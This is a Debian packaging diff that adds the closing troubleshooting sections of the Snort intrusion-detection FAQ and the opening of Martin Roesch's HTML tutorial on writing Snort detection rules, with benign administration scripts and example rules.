+
+    # Compress and save the log files to save for as long as you want.
+
+    # This is done in a sub-shell because we change dirs, and I don't want 
+
+    # to do that within the shell that the script runs in.
+
+    (cd $weeklogs; tar zcvf $oldlogs/$dirdate.tgz $dirdate > /dev/null 2>&1)
+
+    # Mail out the log files for today.
+
+    cat $weeklogs/$dirdate/snort.alert | mail -s "Snort logs" you@domain.com
+
+    cat $weeklogs/$dirdate/snort_portscan.log |
+     mail -s "Snort portscan logs" you@do
+
+    main.com
+
+6.9 Why does the 'error deleting alert' message occur when attempting to delete
+an alert with ACID?
+
+Most likely the DB user configure in ACID does not have sufficient privileges.
+In addition to those privileges granted to log the alerts into the database
+(INSERT, SELECT), DELETE is also required.
+
+This permission related issue can be confirmed by manually inserting a row into
+the database, then trying to delete it.
+
+1.  login to MySQL with the same credentials (i.e. username, password) as you
+    use in ACID
+
+        mysql -u -p
+
+2.  insert a test row into the event table
+
+        mysql> INSERT INTO event (sid, cid, signature, timestamp) VALUES
+        (1,1000000, "test", "0");
+
+    (this assumes that you don't already have a row with an event ID=1000000.
+    If you do just choose another event id #)
+
+3.  now delete this newly inserted row:
+
+        mysql> DELETE FROM event WHERE sid=1 AND cid=10000000;
+
+    If you where not able to delete, this confirms that this is a permission
+    problem. Re-login to mysql as root, and issue a GRANT command (giving the
+    DELETE permission) to the ACID DB user.
+
+        GRANT DELETE on snort.* to acid@localhost
+
+    (this assumes that my alert database is 'snort', username is 'acid', and
+    logging from the 'localhost')
+
+6.10 ACID appears to be broken in Lynx
+
+This is a known issue. Lynx mangles some of the form arguments appended to the
+URL. It's resolution is being investigated, but use Netscape, Opera, or IE in
+the mean time.
+
+6.11 I am getting 'snort [pid] uses obsolete (PF_INET, SOCK_PACKET)' warnings,
+what's wrong.
+
+You use older libpcap version with recent linux kernel. There should be no
+problem with it as long as your kernel supports SOCK_PACKET socket type. To get
+rid off the warning message however, you'll have to upgrade to some recent
+version of libpcap. (a copy from www.tcpdump.org is recommended).
+
+6.12 On HPUX I get device lan0 open: recv_ack: promisc_phys: Invalid argument
+
+It's because there's another program running using the DLPI service. The HP-UX
+implementation doesn't allow more than one libpcap program at a time to run,
+unlike Linux. (from snort.c)
+
+6.13 I am getting snort dying with 'can not create file' error and I have
+plenty of diskspace, what's wrong?
+
+You may run out of free inodes, which basically also means you can not create
+more files on the partition. The obvious solution is to rm some ;-)
+
+6.14 I am using Snort on Windows and receive an ``OpenPcap() error upon
+startup: ERROR: OpenPcap() device open: Error opening adapter'' What's wrong?
+
+Either winpcap is not installed, or you are using an incompatible version. Try
+upgrading to the latest version (2.3 as of 01/17/03). It is available from
+http://netgroup-serv.polito.it/winpcap/ It might also be an issue with SMP
+machines see FAQ Q:###
+
+6.15 Snort is not logging to my database!
+
+There are a number of problems that may be causing snort to fail to log to a
+database. You should check these:
+
+1.  You did not set up the database plugin in your configuration file.
+2.  You are using an older database schema, and should update it by running the
+    create scripts from the /contrib directory of the source tarball.
+3.  You are using a command line option that overrides what you have in your
+    configuration file. This is most often -A or -s. NOTE: If you wish to log
+    to syslog as well, specify so in your configuration file rather then the
+    command line.
+4.  There is a problem with your database configuration itself. Make sure the
+    user you specify has the correct permissions, or that the database is even
+    up and running.
+
+6.16 Portscans are not being logged to my database
+
+You need to change the output facility to 'alert' rather then 'log'. The
+portscan preprocessor calls output plugins registered as 'alert' plugins rather
+then 'log'.
+
+    output database: alert, mysql, user=snort dbname=snort host=localhost
+
+6.17 Snort is not logging to syslog
+
+There are a number of problems that may be causing snort to fail to log to
+syslog. You should check these:
+
+  * You are using a command line option that overrides what you have in your
+    configuration file. This is most often -A.
+  * It may be logging to the wrong place. Make sure syslog is configured
+    correctly.
+
+6.18 I am still getting bombarded with spp_portscan messages even though the IP
+that I am getting the portscan from is in my $DNS_SERVERS var
+
+Try adding /32 netmasks to those addresses:
+
+    var DNS_SERVERS [xxx.xx.0.3/32,xxx.xxx.0.2/32]
+
+And make sure the $DNS_SERVERS variable is on the portscan-ignorehosts line:
+
+    preprocessor portscan-ignorehosts: $DNS_SERVERS
+
+6.19 Why chrooted snort die when I send it a SIGHUP?
+
+  It's a known problem with permissions. Workaround, restart snort instead.
+
+But the longer answer is this: Due to the way the execv(2) call works, it
+"Restarts" snort from scratch. This has the odd side effect of making HUPS to a
+chrooted snort become recursive. For example, chroot to /snort. It now sees /
+snort as / . Now HUP snort. Snort now expects to have /snort/snort as /. In
+other words, you have to re-create your directories for your jail inside it. 4
+HUPS and you will be in /snort/snort/snort/snort.
+
+6.20 My snort crashes, how do I restart it?
+
+Try one of these two shell scripts or daemontools (refer to website to
+daemontools)
+
+  * []#!/bin/sh
+
+    #snorthup: Snort Restarter and Crash Logger 
+
+    #(dr@kyx..net with help from kmaxwell@superpages.com)  
+
+    $conf = "snort.conf"
+
+    for $IFACE in fxp0 fxp1
+
+    do
+
+        if [ -f /var/run/snort_$IFACE.pid ]; then
+
+            if !  ps -p `cat /var/run/snort_$IFACE.pid` > /dev/null ; then
+
+                /usr/bin/logger -p user.notice snorthup: removing bogus pidfile
+
+                /usr/bin/
+    logger -p user.notice snorthup: restarting absentee snort o
+
+    n $IFACE with conf file $i
+
+                rm -f /var/run/snort_$IFACE.pid
+
+                /usr/local/bin/snort -D -c $conf -i $IFACE
+
+            fi;
+
+       else
+
+           /usr/bin/
+    logger -p user.notice snorthup: restarting snort on $IFACE with 
+
+    conf file $conf
+
+           /usr/local/bin/snort -D -c $conf -i $IFACE 
+
+       fi 
+
+    done
+
+Another version:
+
+  * []#!/bin/ksh
+
+    # snortstartd: Snort (Re)Starter
+
+    # Dom De Vitto (dom@devitto..com)
+
+    # (original idea by dr@kyx..net & kmaxwell@superpages.com)
+
+    #
+
+    # Note: You'd better get CONF and INTERFACES right or
+
+    # this script will just keep trying to start snort.
+
+    # Path to echo, sed, test, ps, grep, logger, rm, and sleep.
+
+    PATH=$PATH:/usr/bin:/usr/local/bin ; export PATH
+
+    # Point this to your conf file:
+
+    CONF="/usr/local/share/examples/snort/snort.conf"
+
+    # Which interfaces should Snort run on, e.g.:
+
+    INTERFACES="hme0 hme1"
+
+    # Wait this many seconds between checks:
+
+    CHECKEVERY=5
+
+    # Full path to Snort:
+
+    SNORTBINARY=/usr/local/bin/snort
+
+    while :; do
+
+      for INT in $INTERFACES
+
+      do
+
+        GREPSTRING="`echo $SNORTBINARY -N -D -c $CONF -i $INT|sed
+
+    's?\/?\\\/?g'`"
+
+        PSCMDLINES=`(ps augxww 2>/dev/null||ps -ef 2>/dev/null) | grep
+
+    "$GREPSTRING"|wc -l`
+
+        if [ $PSCMDLINES = 0 ]; then
+
+          logger -p user.notice -t "$0" "Starting Snort on $INT."
+
+          $SNORTBINARY -N -D -c $CONF -i $INT 2>&1 > /dev/null
+
+        fi
+
+      done
+
+      sleep $CHECKEVERY
+
+    done
+
+6.21 Why can't snort see one of the 10Mbps or 100Mbps traffic on my autoswitch
+hub
+
+Basically it's a function of the design and all autoswitching hubs will behave
+in this way. It's the result of just not being able to stuff all the 100 Mbps
+traffic into the 10Mbps CSMA/CD. One solution I use to the problem is these new
+cheapie four port switches... put all the 10Mbps on it's own hub/switch/
+whatever and then route that to the 100Mbps hub I use for monitoring but put a
+cheapie switch in between that works as an adapter basically mediating the 10
+up to 100 and vice versa.
+
+The bad thing about hubs that don't have this "feature", is that in order to
+support 10bt devices, they throttle the entire hub speed down to 10bt if there
+is one or more 10bt only devices hooked up to it. I have seen this behavior
+(and did the bandwidth tests to prove it) on old 3com office connect 10/100
+hubs (newer ones do the 2 hubs with a switch thing.) So, the point of what I am
+saying is, since these old hubs have no switching capabilities, and they don't
+know which port the traffic is supposed to go to (no switch=no arp table), they
+have to throttle bandwidth.
+
+None of the hubs and switches have any significant amount of storage on the
+ethernet chip sets, and therefore any non-layer-three box that has 100 -> 10
+capability can only handle small amounts of traffic before the chip set drops
+incoming packets on the floor. Guess one might call that throttled bandwidth,
+but at the expense of retransmission timeouts and retransmissions at the end
+nodes.
+
+If the box has a backplane, multiple cards and some network management
+functions, there is a higher probability the manufacturer has some additional
+buffering going on to keep dropped packets from happening on at least small
+bursts of traffic.
+
+In the most generic of terms, if a box supports 100 "full-duplex", then its a
+switch (regardless of what the manufacturer calls it). If it supports 100 ->
+10, there is 50-50 chance the box has some MAC address awareness. If a box only
+supports 10 -> 10 or 100 -> 100, there is a high probability it is not MAC
+address aware and therefor functions like a hub.
+
+Many hubs have different back planes, ie one for 10 one for 100.
+
+From a definition standpoint, a hub segment whether it be 10 or 100 is a single
+broadcast/collision domain. You will not see ANY traffic between segments
+without a bridge or layer3 route function between them.
+
+In a switched environment, typically each port is a separate collision domain
+but one big broadcast domain. VLANs can be created in some to separate into
+separate broadcast domains and some have built in layer 3 functionality which
+basically connects a router into the backplane so that it can route between
+vlans at wire speed.
+
+Think of a switch as a bridge with many ports. (that's what it is). Some
+switches support port mirroring or span ports. When you want to "sniff" frames
+in a switched environment (beyond just broadcast/multicast traffic) you need to
+be able to "see" the unicast traffic (telnet,http for example). You set up a
+port to mirror traffic from the ports that have the devices your interested in
+to the port you have your analysis device plugged into. Without doing so, you
+don't see the unicast conversations because the traffic is getting "switched"
+across the backplane so pc on port 1 talks to server on port 2 and no other
+ports get this traffic. If server on port 2 broadcasts or multicasts, the
+information is flooded out all ports. (multicast can be controlled on some
+switches so only those ports that have listening stations get the traffic. Not
+all switches have these capabilities.
+
+An excellent book on the topic is Interconnections by Radia Perlman. (Bridges
+and Routers).
+
+Additional caveat: if you deal with full duplex on a switched port, only a tap
+would save you - users have successfully used Shomiti's ones on 100MB FD ports,
+and used two Snort instances, capturing traffic on both directions. Port
+mirroring didn't work in that case ...
+
+6.22 Trying to install snort it says: "bad interpreter: No such file or
+directory"
+
+Usually this error comes from editing files on Windows machines. Often it shows
+up on the ./configure step. The configure script should be looking for the /bin
+/sh shell as its interpreter. If /bin/sh doesn't exist then you'll get this
+error. Check that whatever comes after the #! on the first line of configure is
+actually there.
+
+If the file has been edited on a Windows machine it can sometimes Add CR/LF
+(VM) characters on the end of each line, so #!/bin/sh becomes #!/bin/shVM and
+as the ctrl-v/ctrl-m characters are special, and hidden by default on most
+editors, it can create a really hard to find problem. To remove the extra CR
+characters that UNIXish machines don't like, simply use the dos2unix command:
+
+  * []dos2unix <infile> <outfile>
+
+If your OS doesn't have dos2unix, then you can use:
+
+  * []cat <infile> | tr -d ``\r'' > <outfile>
+
+6.23 I'm not seeing any interfaces listed under Win32.
+
+The reason you're seeing nothing in the interface list is a WinPcap problem. In
+previous versions of WinPcap there is a 1K buffer, which overflows if you have
+many interfaces (ie. 10+). This has been replaced with an 8K buffer in more
+recent versions of WinPcap. The current snort distribution should already be
+linking against the newer WinPcap libraries, which should resolve this problem.
+Try obtaining a more recent build of snort.
+
+6.24 It's not working on Win32, how can I tell if my problem is snort or
+WinPcap?
+
+See if WinDump will work with WinPcap. This should help you isolate which
+component is being bogus.
+
+6.25 I just downloaded a new ruleset and now snort fails complaining about the
+rules.
+
+First, make sure you downloaded the right ruleset for your version of snort.
+Snort.org generally hosts a ruleset for the released version of snort, as well
+as rules for the development branch and sometimes copies for older versions of
+snort. This is generally the case for "unknown keyword in rule" type errors.
+
+If you have the rules that are correct for your version of snort be aware that
+the snort rules tarball contains a snort.conf file. From time to time the
+snort.conf included with the rules gets changed as new .rules files are added,
+and new variables are added to support a better ruleset. When downloading new
+rulesets you should always give the included snort.conf a quick look-over to
+see if new includes or vars have been added, or at least be aware you should
+consult it if things do not work as expected. This is generally the case if you
+get messages indicating that something is undefined in a rule.
+
+6.26 How do I speed up ACID and MySQL ?
+
+(ACID FAQ B-10)
+
+MySQL optimizations Two things for you to check from the ACID faq:
+
+    http://www.andrew.cmu.edu/~rdanyliw/snort/acid_faq.html
+
+  * Compact the tables
+
+    After numerous delete operations, "holes" will occur in the native files
+    used to store the tables decreasing the speed of the all queries. The
+    following shell script will examine all the MySQL tables and compact them.
+      + []for table in `echo show tables|mysql snort|tail +2` 
+
+        do 
+
+           echo optimize table $table|mysql snort 
+
+        done
+  * Creating indexes
+
+    Some of the required indexes are not created in initial MySQL creation
+    script. The following indexes can be added to significantly improve
+    performance:
+
+        tcphdr.tcp_sport
+
+        tcphdr.tcp_dport
+
+        acid_ag_alert.ag_sid + acid_ag_alert.ag_cid
+
+    MySQL can be fast - you just need to have the proper indexing set up. If
+    you need a good MySQL reference, pick up a copy of Paul DuBois' book, which
+    is currently the bible for MySQL. O'Reilly also recently released a
+    reference by Monty and the MySQL AB team.
+
+    The way to check if the indices are already there are with the SHOW INDEX
+    command. For instance, to check the tcphdr table, you would run:
+      + []mysql> show index from tcphdr;
+
+        +----+------+------+-------+-------+------+-------+-----+----+-----+
+
+        | Table  | Non_unique | Key_name  | Seq_in_index | Column_name |
+        Collation  | Cardinality | Sub_part | Packed | Comment |
+
+        +----+------+------+-------+-------+------+-------+-----+----+-----+
+
+        | tcphdr |          0 | PRIMARY   |            1 | sid         |
+                 A |        NULL |     NULL | NULL   |         |
+
+        | tcphdr |          0 | PRIMARY   |            2 | cid         |
+                 A |     2543146 |     NULL | NULL   |         |
+
+        | tcphdr |          1 | tcp_sport |            1 | tcp_sport   |
+                 A |        NULL |     NULL | NULL   |         |
+
+        | tcphdr |          1 | tcp_dport |            1 | tcp_dport   |
+                 A |        NULL |     NULL | NULL   |         |
+
+        | tcphdr |          1 | tcp_flags |            1 | tcp_flags   |
+                 A |        NULL |     NULL | NULL   |         |
+
+        +----+------+------+-------+-------+------+-------+-----+----+-----+
+
+        5 rows in set (0.00 sec)
+    You can see that in this case, the tcphdr.tcp_sport index is in line 3, and
+    the tcphdr.tcp_dport is in line 4.
+
+    If you need to create the index, you can run:
+      + []CREATE INDEX idx_tcp_sport ON tcphdr(tcp_sport);
+    To create a compound index, you would do this:
+      + []CREATE INDEX idx_cpd_sid_cid ON acid_ag_alert(ag_sid,ag_cid);
+    If you want to take a closer look at the table structures, you can use the
+    DESCRIBE command, and pass it the table name:
+      + []       mysql> DESCRIBE tcphdr;
+
+               +------+-----------+---+---+-----+----+
+
+               | Field     | Type                 | Null | Key | Default |
+         Extra |
+
+               +------+-----------+---+---+-----+----+
+
+               | sid       | int(10) unsigned     |      | PRI | 0       |
+               |
+
+               | cid       | int(10) unsigned     |      | PRI | 0       |
+               |
+
+               | tcp_sport | smallint(5) unsigned |      | MUL | 0       |
+               |
+
+               | tcp_dport | smallint(5) unsigned |      | MUL | 0       |
+               |
+
+               | tcp_seq   | int(10) unsigned     | YES  |     | NULL    |
+               |
+
+               | tcp_ack   | int(10) unsigned     | YES  |     | NULL    |
+               |
+
+               | tcp_off   | tinyint(3) unsigned  | YES  |     | NULL    |
+               |
+
+               | tcp_res   | tinyint(3) unsigned  | YES  |     | NULL    |
+               |
+
+               | tcp_flags | tinyint(3) unsigned  |      | MUL | 0       |
+               |
+
+               | tcp_win   | smallint(5) unsigned | YES  |     | NULL    |
+               |
+
+               | tcp_csum  | smallint(5) unsigned | YES  |     | NULL    |
+               |
+
+               | tcp_urp   | smallint(5) unsigned | YES  |     | NULL    |
+               |
+
+               +------+-----------+---+---+-----+----+
+
+               12 rows in set (0.02 sec)
+
+6.27 Why am I seeing so many "SMTP RCPT TO overflow" alerts ?
+
+That rule looks for a TCP frame going to your SMTP server which contains more
+than 800 bytes of data. Any email can easily set that off if pipelining is
+used. SMTP command pipelining allows several command lines lines to be sent as
+a single packet without waiting for an OK response. Any good high-volume
+mailserver will try to pipeline where possible, resulting in a single TCP frame
+containing a series of command lines, each of which is not very long, but in
+aggregate easily exceed the 800 byte threshold, particularly if there is a
+large recipient list.
+
+For more info on pipelining:
+
+    http://www.faqs.org/rfcs/rfc1854.html
+
+If your mailservers are not vulnerable to these overflows you can disable this
+rule and regain some peace...
+
+6.28 I'm getting lots of *ICMP Ping Speedera*, is this bad?
+
+Quite ordinary. Windows update uses speedera based DNS, among other things. Of
+course, if the speedera traffic is coming from a Dialup account (as there have
+been reports of) it's likely a hacker tool. ;-)
+
+6.29 Why are my unified alert times off by +/- N hours?
+
+Unified log and alert files are stored in UTC.
+
+6.30 I try to start snort and it gives an error like "ERROR: Unable to open
+rules file: /root/.snortrc or /root//root/.snortrc". What can I do to fix this?
+
+When Snort starts it looks at the command line and checks for "-c /some/path/
+snort.conf". If thats not there, then it will look for the one of the following
+files:
+
+  * /etc/snort.conf
+  * ./snort.conf
+  * $HOMEDIR/snort.conf
+  * $HOMEDIR/.snortrc
+  * ./.snortrc
+
+Make sure your .conf is in one of those locations and then snort will be able
+to find it or use the -c parameter to tell snort the full pathname to the
+snort.conf.
+
+    snort -c /usr/local/etc/snort.conf
+
+7 Development
+
+7.1 How do you put snort in debug mode?
+
+In the 1.9 or greater,
+
+1.  ./configure -enable-debug
+2.  Look up the section of snort you'd like to debug ( look at src/debug.h )
+    and add up the constants. For example if you want to debug Portscan2,
+
+        #define DEBUG_PORTSCAN2 0x00080000 /* 524288 / (+ conv2 ) 589824 */
+
+    To debug both just portscan2,
+
+        export SNORT_DEBUG=524288
+
+    To debug both portscan2 and conversation:
+
+        export SNORT_DEBUG=589824
+
+3.  Run snort as normal. You will need to redirect output to a file to cope
+    with the large amounts of debug output.
+
+8 Miscellaneous
+
+8.1 What's this about a snort drinking game?
+
+:-) Check it out for yourself:
+
+    http://www.theadamsfamily.net/~erek/snort/drinking_game.txt
+
+About this document ...
+
+The Snort FAQ
+
+This document was generated using the LaTeX2HTML translator Version 97.1
+(release) (July 13th, 1997)
+
+Copyright © 1993, 1994, 1995, 1996, 1997, Nikos Drakos, Computer Based Learning
+Unit, University of Leeds.
+
+The command line arguments were:
+latex2html -no_subdir -split 0 -show_section_numbers /tmp/lyx_tmpdir5901fp5901/
+lyx_tmpbuf5901EF5901/faq.tex.
+
+The translation was initiated by Erek Adams on 4/9/2003
+-------------------------------------------------------------------------------
+
+Footnotes
+
+...Shomiti/Finisar
+    http://www.shomiti.com
+
+...Netoptics
+    http://www.netoptics.com/
+
+...syslog-ng
+    http://www.balabit.hu/en/downloads/syslog-ng/
+
+...manual
+    http://www.snort.org/docs/writing_rules/chap2.html#tth_sEc2.2.4
+
+-------------------------------------------------------------------------------
+next up previous
+
+Erek Adams
+4/9/2003
--- snort-2.8.5.2.orig/debian/my/snort_rules.html
+++ snort-2.8.5.2/debian/my/snort_rules.html
@@ -0,0 +1,770 @@
+<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
+<html>
+<head>
+   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+   <meta name="Author" content="The Roesch's">
+   <meta name="GENERATOR" content="Mozilla/4.5 [en] (WinNT; I) [Netscape]">
+   <title>Writing Snort Rules</title>
+</head>
+<body>
+
+<center><b><font size=+2>Writing Snort Rules</font></b>
+<br><b><i>How To write Snort rules and keep your sanity</i></b>
+<br><b><i>Current as of version 1.3.1.2</i></b>
+<br><b><i>By Martin Roesch</i></b>
+<br>
+<hr WIDTH="100%"></center>
+<b><i><font size=+1>Contents</font></i></b>
+<ul>
+<li>
+<a href="#Basics">The Basics</a></li>
+
+<li>
+<a href="#rule_header">Rule Headers</a></li>
+
+<ul>
+<li>
+<a href="#rule_actions">Rule Actions</a></li>
+
+<li>
+<a href="#protocols">Protocols</a></li>
+
+<li>
+<a href="#ip_addresses">IP Addresses</a></li>
+
+<li>
+<a href="#port_numbers">Port Numbers</a></li>
+
+<li>
+<a href="#direction_operator">The Direction Operator</a></li>
+</ul>
+
+<li>
+<a href="#rule_options">Rule Options</a></li>
+
+<ul>
+<li>
+<a href="#msg">msg</a></li>
+
+<li>
+<a href="#msg">logto</a></li>
+
+<li>
+<a href="#minfrag">minfrag</a></li>
+
+<li>
+<a href="#ttl">ttl</a></li>
+
+<li>
+<a href="#id">id</a></li>
+
+<li>
+<a href="#dsize">dsize</a></li>
+
+<li>
+<a href="#content">content</a></li>
+
+<li>
+<a href="#offset">offset</a></li>
+
+<li>
+<a href="#depth">depth</a></li>
+
+<li>
+<a href="#flags">flags</a></li>
+
+<li>
+<a href="#seq">seq</a></li>
+
+<li>
+<a href="#ack">ack</a></li>
+
+<li>
+<a href="#itype">itype</a></li>
+
+<li>
+<a href="#icode">icode</a></li>
+
+<li>
+<a href="#session">session</a></li>
+</ul>
+
+<li>
+<a href="#advanced_rule_concepts">Advanced Rule Concepts</a></li>
+
+<ul>
+<li>
+<a href="#includes">Includes</a></li>
+
+<li>
+<a href="#variables">Variables</a></li>
+</ul>
+
+<li>
+<a href="#building_good_rules">Building Good Rules</a></li>
+
+<ul>
+<li>
+<a href="#case_sensitive">Content Rules are Case Sensitive</a></li>
+
+<li>
+<a href="#speed_content">Speeding Up Rules That Have Content Options</a></li>
+</ul>
+</ul>
+
+<hr WIDTH="100%">
+<br><a NAME="Basics"></a>
+<br><b><i><font size=+1>The Basics</font></i></b>
+<blockquote>Snort uses a simple, lightweight rules description language
+that is flexible and quite powerful.&nbsp; There are a number of simple
+guidelines to remember when developing Snort rules.
+<p>The first is that Snort rules must be completely contained on a single
+line, the Snort rule parser doesn't know how to handle rules on multiple
+lines.
+<p>Snort rules are divided into two logical sections, the rule header and
+the rule options.&nbsp; The rule header contains the rule's action, protocol,
+source and destination IP addresses and netmasks, and the source and destination
+ports information.&nbsp; The rule option section contains alert messages
+and information on which parts of the packet should be inspected to determine
+if the rule action should be taken.
+<p>Here is an example rule:
+<p><a NAME="first_example"></a>
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp any any -> 192.168.1.0/24 111 (content:"|00 01 86 a5|";
+msg: "mountd access";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 1 - Sample Snort Rule</center>
+
+<p>The text up to the first parenthesis is the <i>rule header</i> and the
+section enclosed in parenthesis is the <i>rule options</i>.&nbsp; The words
+before the colons in the rule options section are called <i>option keywords</i>.&nbsp;
+Note that the rule options section is not specifically required by any
+rule, they are just used for the sake of making tighter definitions of
+packets to collect or alert on (or drop, for that matter).&nbsp; All of
+the elements in that make up a rule must be true for the indicated rule
+action to be taken.&nbsp; When taken together, the elements can be considered
+to form a logical AND statement.&nbsp; At the same time, the various rules
+in a Snort rules library file can be considered to form a large logical
+OR statement.&nbsp; Let's begin by talking about the rule header section.</blockquote>
+<a NAME="rule_header"></a>
+<br><b><i><font size=+1>Rule Headers</font></i></b>
+<blockquote><a NAME="rule_actions"></a><b>Rule Actions</b>:
+<p>The rule header contains the information that defines the "who, where,
+and what" of a packet, as well as what to do in the event that a packet
+with all the attributes indicated in the rule should show up.&nbsp; The
+first item in a rule is the <i>rule action</i>.&nbsp; The rule action tells
+Snort what to do when it finds a packet that matches the rule criteria.&nbsp;
+There are three available actions in Snort, alert, log, and pass.
+<ul>
+<li>
+alert - generate an alert using the selected alert method, and then log
+the packet</li>
+
+<li>
+log - log the packet</li>
+
+<li>
+pass - drop (ignore) the packet</li>
+</ul>
+<a NAME="protocols"></a><b>Protocols</b>:
+<p>The next field in a rule is the protocol.&nbsp; There are three IP protocols
+that Snort currently analyzes for suspicious behavior, tcp, udp, and icmp.&nbsp;
+In the future there may be more, such as ARP, IGRP, GRE, OSPF, RIP, IPX,
+etc.</blockquote>
+
+<blockquote>
+<ul>
+<li>
+tcp</li>
+
+<li>
+udp</li>
+
+<li>
+icmp</li>
+</ul>
+<a NAME="ip_addresses"></a><b>IP Addresses</b>:
+<p>The next portion of the rule header deals with the IP address and port
+information for a given rule.&nbsp; The keyword "any" may be used to define
+any address.&nbsp; Snort does not have a mechanism to provide host name
+lookup for the IP address fields in the rules file.&nbsp; The addresses
+are formed by a straight numeric IP address and a <a href="http://public.pacbell.net/dedicated/cidr.html">CIDR</a>
+block.&nbsp; The CIDR block indicates the netmask that should be applied
+to the rule's address and any incoming packets that are tested against
+the rule.&nbsp; A CIDR block mask of /24 indicates a Class C network, /16
+a Class B network, and /32 indicates a specific machine address.&nbsp;
+For example, the address/CIDR combination 192.168.1.0/24 would signify
+the block of addresses from 192.168.1.1 to 192.168.1.255.&nbsp; Any rule
+that used this designation for, say, the destination address would match
+on any address in that range.&nbsp; The CIDR designations give us a nice
+short-hand way to designate large address spaces with just a few characters.
+<p>In <a href="#first_example">Figure 1</a>, the source IP address was
+set to match for any computer talking, and the destination address was
+set to match on the 192.168.1.0 Class C network.
+<p>There is an operator that can be applied to IP addresses, the <i>negation
+operator</i>.&nbsp; This operator tells Snort to match any IP address <b><i>except
+</i></b>the
+one indicated by the listed IP address.&nbsp; The negation operator is
+indicated with a "!".&nbsp; For example, an easy modification to the initial
+example is to make it alert on any traffic that originates outside of the
+local net with the negation operator as shown in Figure 2.
+<p><a NAME="Figure 2"></a>
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>alert tcp !192.168.1.0/24 any -> 192.168.1.0/24 111 (content: "|00
+01 86 a5|"; msg: "external mountd access";)</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 2 - Example IP Address Negation Rule</center>
+
+<p>This rule's IP addresses indicate "any tcp packet with a source IP address
+<b><i>not</i></b>
+originating from the internal network and a destination address on the&nbsp;
+internal network".
+<p><a NAME="port_numbers"></a><b>Port Numbers</b>
+<p>Port numbers may be specified in a number of ways, including "any" ports,
+static port definitions, ranges, and by negation.&nbsp; "Any" ports are
+a wildcard value, meaning literally any port.&nbsp; Static ports are indicated
+by a single port number, such as 111 for portmapper, 23 for telnet, or
+80 for http, etc.&nbsp; Port ranges are indicated with the range operator
+":".&nbsp; The range operator may be applied in a number of ways to take
+on different meanings, such as in Figure 3.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log udp any any -> 192.168.1.0/24 1:1024&nbsp;
+<br><i>log udp traffic coming from any port and destination ports ranging
+from 1 to 1024</i></center>
+</td>
+</tr>
+
+<tr>
+<td>
+<center>log tcp any any -> 192.168.1.0/24 :6000&nbsp;
+<br><i>log tcp traffic from any port going to ports less than or equal
+to 6000</i></center>
+</td>
+</tr>
+
+<tr>
+<td>
+<center>log tcp any :1024 -> 192.168.1.0/24 500:&nbsp;
+<br><i>log tcp traffic from priveleged ports less than or equal to 1024
+going to ports greater than or equal to 500</i></center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 3 - Port Range Examples</center>
+
+<p><br>
+<p>Port negation is indicated by using the negation operator "!".&nbsp;
+The negation operator may be applied against any of the other rule types
+(except any, which would translate to none, how Zen...).&nbsp; For example,
+if for some twisted reason you wanted to log everything except the X Windows
+ports, you could do something like the rule in Figure 4.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log tcp any any -> 192.168.1.0/24 !6000:6010</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 4 - Example of Port Negation</center>
+
+<p><br>
+<p><a NAME="direction_operator"></a><b>The Direction Operator</b>
+<p>The <i>direction operator</i> "->" indicates the orientation, or "direction",
+of the traffic that the rule applies to.&nbsp; The IP address and port
+numbers on the left side of the direction operator is considered to be
+the traffic coming from the source host, and the address and port information
+on the right side of the operator is the destination host.&nbsp; There
+is also a <i>bidirectional operator</i>, which is indicated with a "&lt;>"
+symbol.&nbsp; This tells Snort to consider the address/port pairs in either
+the source or destination orientation.&nbsp; This is handy for recording/analyzing
+both sides of a conversation, such as telnet or POP3 sessions.&nbsp; An
+example of the bidirectional operator being used to record both sides of
+a telnet session is shown in Figure 5.
+<br>&nbsp;
+<br>&nbsp;
+<center><table BORDER COLS=1 WIDTH="80%" >
+<tr>
+<td>
+<center>log !192.168.1.0/24 any &lt;> 192.168.1.0/24 23</center>
+</td>
+</tr>
+</table></center>
+
+<center>Figure 5 - Snort rules using the Bidirectional Operator</center>
+</blockquote>
+<a NAME="rule_options"></a><b><i><font size=+1>Rule Options</font></i></b>
+<blockquote>Rule options form the heart of Snort's intrusion detection
+engine, combining ease of use with power and flexibility.&nbsp; All Snort
+rule options are separated from each other using the semicolon ";" character.&nbsp;
+Rule option keywords are separated from their arguments with a colon ":"
+character. As of this writing, there are fifteen rule option keywords&nbsp;
+available for Snort:
+<ul>
+<li>
+msg - prints a message in alerts and packet logs</li>
+
+<li>
+logto - log the packet to a user specified filename instead of the standard
+output file</li>
+
+<li>
+minfrag - set a threshold value for the smallest acceptable IP fragment
+size</li>
+
+<li>
+ttl - test the IP header's TTL field value</li>
+
+<li>
+id - test the IP header's fragment ID field for a specific value</li>
+
+<li>
+dsize - test the packet's payload size against a value</li>
+
+<li>
+content - search for a pattern in the&nbsp; packet's payload</li>
+
+<li>
+offset - modifier for the content option, sets the offset to begin attempting
+a pattern match</li>
+
+<li>
+depth - modifier for the content option, sets the maximum search depth
+for a pattern match attempt</li>
+
+<li>
+flags - test the TCP flags for certain values</li>
+
+<li>
+seq - test the TCP sequence number field for a specific value</li>
+
+<li>
+ack - test the TCP acknowledgement field for a specific value</li>
+
+<li>
+itype - test the ICMP type field against a specific value</li>
+
+<li>
+icode - test the ICMP code field against a specific value</li>
+
+<li>
+session - dumps the application layer information for a given session</li>
+</ul>
+
+<p><br><a NAME="msg"></a><b>Msg</b>
+<p>The <i>msg</i> rule option tells the logging and alerting engine the
+message to print along with a packet dump or to an alert.&nbsp; It is a
+simple text string that utilizes the "\" as an escape character to indicate
+a discrete character that might otherwise confuse Snort's rules parser
+(such as the semi-colon ";" character).
+<p>Format:
+<blockquote>msg: "<i>&lt;message text></i>";</blockquote>
+
+<p><br><a NAME="logto"></a><b>Logto</b>
+<p>The <i>logto</i> option tells Snort to log all packets that trigger
+this rule to a special output log file.&nbsp; This is especially handy
+for combining data from things like NMAP activity, HTTP CGI scans, etc.&nbsp;
+It should be noted that this option does not work when Snort is in binary
